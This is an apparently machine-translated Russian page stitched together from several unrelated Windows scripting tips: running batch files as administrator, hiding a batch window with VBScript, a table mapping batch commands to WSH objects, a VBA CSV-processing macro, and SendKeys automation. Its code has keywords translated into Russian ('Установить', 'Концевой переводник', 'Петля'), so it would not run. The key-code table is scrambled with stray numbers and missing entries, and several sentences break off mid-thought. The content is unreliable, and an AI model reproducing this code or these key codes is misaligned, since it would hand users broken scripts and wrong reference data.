    Доступ к папке, требующей авторизации, например (% systemroot% \ system32 / config / system)

    Если разрешено, очевидно, что есть права администратора

    Если он будет отклонен, вам нужно будет подать заявление на разрешение.

    Метод подачи заявления на получение разрешения следующий:

    (см. Код эха)

    Создайте бегун, запустите относительный каталог (относительный каталог — это каталог для запуска пакетной обработки) в программе с правами администратора.

    Тогда естественно обращаться к админу. Вау, здесь представлена ​​статья о VBS-файле с автоматическим запуском пакетной обработки (BAT) от имени администратора. Для получения более подходящего администратора, запускающего пакетный контент, выполните поиск в предыдущих статьях developeppaer или продолжайте просматривать соответствующие статьи ниже. Я надеюсь, что в будущем вы сможете больше поддерживать разработчиков!

    Скрыть запущенный пакетный файл с помощью сценария Visual Basic

    Эта статья с практическими рекомендациями проста и по существу.В этом посте вы узнаете, как запускать командные файлы в скрытом режиме. Часто вам нужно запускать скрытые командные файлы, чтобы сохранить их в безопасности; не закрываться по ошибке. Я помню, много лет назад, когда я впервые зашел на серверную машину в своем офисе, мой менеджер попросил меня немедленно не закрывать окна командной строки ни по какой причине, потому что многие приложения выполнялись через эти командные файлы в производственной среде. Не только это, но были ведомые машины Jenkin, серверы регистраторов основного прикладного продукта моей компании, telnet и несколько других экземпляров, которые работали на основе этих пакетных файлов, поэтому первое, что я сделал, это заставил запускать эти запущенные пакетные файлы в скрытый режим (от случая к случаю он меняется по-разному), поэтому доступ к ним будут иметь только предполагаемые люди, и отключение этих серверов будет менее обременительным.

    Пакетные файлы? — зачем я их использую?

    Пакетный файл содержит некоторые сценарии или команды для последовательного запуска с помощью интерпретатора командной строки, эти команды выполняются быстрее, чтобы сделать эти файлы сценариев полезными для служб ведения журнала, для автоматизации некоторых заданий и для настройки некоторых служб в среде Microsoft Windows. Лучшее в пакетных сценариях (что я понял) — это их синтаксис, который не меняется. Это остается неизменным для всех версий операционной системы Windows, поэтому написанные однажды скрипты будут выполнять свою работу в течение многих лет.Более того, не так просто писать некоторые сложные команды в командной строке или оболочке снова и снова; лучше записать их один раз в файл блокнота с расширением .bat, чтобы эти команды выполнялись в собранном последовательном порядке.

    Невидимый запуск командного файла

    Есть несколько способов добиться этого, но самый удобный — написать визуальный базовый сценарий для запуска вашего командного файла (написание сценария для безопасного выполнения другого сценария) в скрытом режиме.

    1. Установить WshShell = CreateObject («WScript.Shell»)
    2. WshShell.Run chr (34) & «C: \ Users \ Foobar \ Machines \ ML \ StartMLStudio.bat» & Chr (34), 0
    3. Установить WshShell = Ничего

    Первая строка запустит процесс оболочки окна командной строки, в котором вы будете запускать дальнейшие команды, затем мы установили набор символов для текстовой строки и, наконец, мы указали путь к скрытому пакетному файлу, который мы хотим запустить.

    Скопируйте код, измените путь, сохраните файл с расширением.vbs для запуска скрытых командных файлов, содержащихся в сценарии, и наслаждайтесь.

    Примечание

    Я предпочитаю поместить этот файл hiderunningbatchscript.bat в тот же каталог, где вы разместили сам файл batch.bat, это не обязательно во всех случаях, но в некоторых средах он не работает, если оставить где-то отдельно.

    Пакетные сценарии для Windows

    Для преобразования .Файлы BAT в сценарии WSH влечет за собой замену команд NT net.exe соответствующими Объекты, методы и свойства WSH.

    ТАБЛИЦА 1. Компоненты WSH для команд пакетного файла
    Вход в систему
    Задача сценария
    Решение для пакетного файла Решение WSH
    Определение использования каталога и дискового пространства Ресурсный комплект утилит diruse. exe и diskuse.exe Объект FileSystemObject VBScript
    Выполнение файлового ввода-вывода Символы перенаправления команд (например,>, >>, <, |) и фильтры команд (например, найти, еще, сортировать) Объект FileSystemObject VBScript
    Использование переменных среды Команда Set командного процессора и конструкция% EnvironmentVariable% Свойство Environment объекта оболочки WSH
    Обработка ошибок ERRORLEVEL переменная среды Объект Err VBScript
    Принятие пользовательского ввода Аргументы командной строки, к которым сценарий обращается через% 1,% 2,% 3 и т. Д. Аргументы командной строки, к которым сценарий обращается через свойство Arguments WScript, или аргументы, которые пользователь вводит интерактивно, а сценарий получает доступ через функцию InputBox VBScript
    Обеспечение вывода сценария Команда Echo командного процессора Метод Echo WScript, метод Popup объекта WSH Shell или функция MsgBox VBScript
    Установление сетевых подключений Команды net. exe в NT Сетевой объект WSH
    Выполнение ввода-вывода реестра Ресурсный комплект, утилита рег.exe Методы RegDelete, RegRead и RegWrite объекта WSH Shell
    Выполнение внешних команд Имя команды или утилиты Метод Run объекта WSH Shell
    Поиск с помощью регулярных выражений Символы перенаправления команд (например, <, |) и фильтры команд (например, find, findstr) Предстоящий объект VBScript RegExp
    Управление группами и пользователями NT сеть.команды exe и различные комплекты ресурсов и сторонние утилиты ADSI

    Как правильно закрыть файлы VBA, VBS и BAT для предотвращения проблемы «.xlsm заблокирован для редактирования»?

      ПодпроцессDrillDataCSV ()
    Dim wbScript как рабочая книга
    'Переменная для хранения исходного файла книги
    Dim wbОткрыть как книгу
    'Переменная для хранения конечного вывода Файл рабочей книги для всей обработки
    Dim wbNew As Workbook
    
    'Включите многопоточность
        Application. MultiThreadedCalculation.Включено = Истина
    
        Установите wbScript = ActiveWorkbook
        
    'Перейти в соответствующий каталог с файлами
        ChDir strPath
    'Список всех файлов CSV в папке текущего пути
        strExtension = Dir ("*. csv")
        
    'Создайте новую книгу для хранения всей статистической информации и диаграмм
        Установите wbNew = Workbooks.Add (1)
        
    'Изменить путь, имя и формат файла на книгу XLSM Excel с поддержкой макросов
        wbNew.SaveAs fileName: = Format (DateTime.Now, «ггггММдд чч-мм-сс») & «Панель вывода», FileFormat: = xlOpenXMLWorkbookMacroEnabled
     
           
    'Основной цикл обработки файлов
        Сделать пока strExtension <> ""
            Установите wbOpen = Workbooks.Открыть (strPath & "\" & strExtension)
            
            С wbOpen
                Формат звонка
                Вызов FindExtremeValues ​​(fileCount, Sheets (1) .Name, wbNew, wbOpen, wbScript)
                Вызов FindStatValues ​​(fileCount, wbOpen.Sheets (1) .Name, wbNew, wbOpen, wbScript)
                .Close SaveChanges: = False. 
            Конец с
                   
    'Перейти к следующему CSV-файлу в списке
            strExtension = Dir
        
        Петля
            
    'Сделайте лист "Вся статистика" активным.
        Таблицы («Вся статистика»).Активировать
        
    'Установить выделение в ячейку A1, чтобы верхний левый угол листа был настроен для просмотра
        Диапазон ("A1"). Выберите
                    
    'Повторно включить оповещения
        Application.DisplayAlerts = True
                
    'Сохраните файл с текущим открытым именем
        wbNew.Save
                
    'Закройте сам файл сценария, не сохраняя
        wbScript.Close (Ложь)
    
        Application.ScreenUpdating = True
        Application.Calculation = xlCalculationAutomatic
        
        При ошибке GoTo 0
    Концевой переводник  

    Автоматическое нажатие любой клавиши с использованием пакетной программы путем открытия существующего запущенного пользователем приложения

    Введение

    В операционной системе Windows любая программа может запускаться через пакетную программу.Кроме того, очень сложно нажать любую клавишу в пакетной программе. Но это возможно косвенно с помощью пакетной программы с использованием VBScript.

    Фон

    VBScript имеет библиотеку для нажатия любой клавиши, например « WshShell ».

    Использование кода

    Предположим, пользователь открывает Блокнот и что-то пишет. Теперь пользователь хочет сохранить файл автоматически с помощью пакетной программы. В этой ситуации можно выполнить следующую процедуру:

    1. Создайте файл сценария VB с именем program.s означает «Ctrl + s».

    2. Создайте командный файл с именем auto.bat , напишите следующий код и сохраните его:
      wscript "F: \ Ict_Backup \ Desktop \ program.vbs" 
    3. Запустите командный файл. Он попросит сохранить файл.
    4. Другой пример: автоматический запуск браузера Firefox в полноэкранном режиме (спящий режим используется для ожидания запуска приложения в системе).
      Установите oShell = CreateObject ("WScript. Shell")
      oShell.Запустить ("" "C: \ Program Files \ Mozilla Firefox \ firefox.exe" "")
      WScript.Sleep 3000
      oShell.App Активируйте "firefox"
      WScript.Sleep 3000
      oShell.SendKeys "~"
      oShell.SendKeys "{F11}" 

    Список кодов клавиш для VBScript:

    Escape 9019 {Escape 9019 } 75 9036 Влево 9375 0362 Экран печати 9036 9036 9036 9036 903 903 903
    Клавиша Код
    Перерыв {BREAK}
    Backspace {Backspace}, {BKSP} или {BS} Удалить или {DEL}
    Стрелка вниз {ВНИЗ}
    Конец {END}
    Введите {ENTER} или ~
    Справка {HELP}
    Home {HOME}
    Вставка {INSERT} или {INS}
    Num Lock {NUMLOCK}
    Page Down {PGDN}
    Page Up {PGUP}
    {PRTSC}
    Стрелка вправо {ВПРАВО}
    Блокировка прокрутки {SCROLLLOCK}
    Tab Tab {UP}
    F1 {F1}
    F2 {F2}
    F3 {F3}
    F5 {F5}
    F6 {F6}
    F7 {F7}
    9036 F2 902 902 902 {F9}
    F10 {F10}
    F11 {F11}
    F12 {F12}
    {F13}
    F14 {F14}
    F15 {F15}
    F16 {F16} 903 902
    Ctrl {^}
    Блокировка переключения передач {+}
    Зеленая миля

    Разработчик программного обеспечения (старший) BRAC ICT

    Бангладеш

    Шайфул Ислам (Палаш) — целеустремленный, энергичный, пользующийся доверием, ведущий инженер-программист с более чем 5-летним опытом и знаниями в области программирования.

    Leave a comment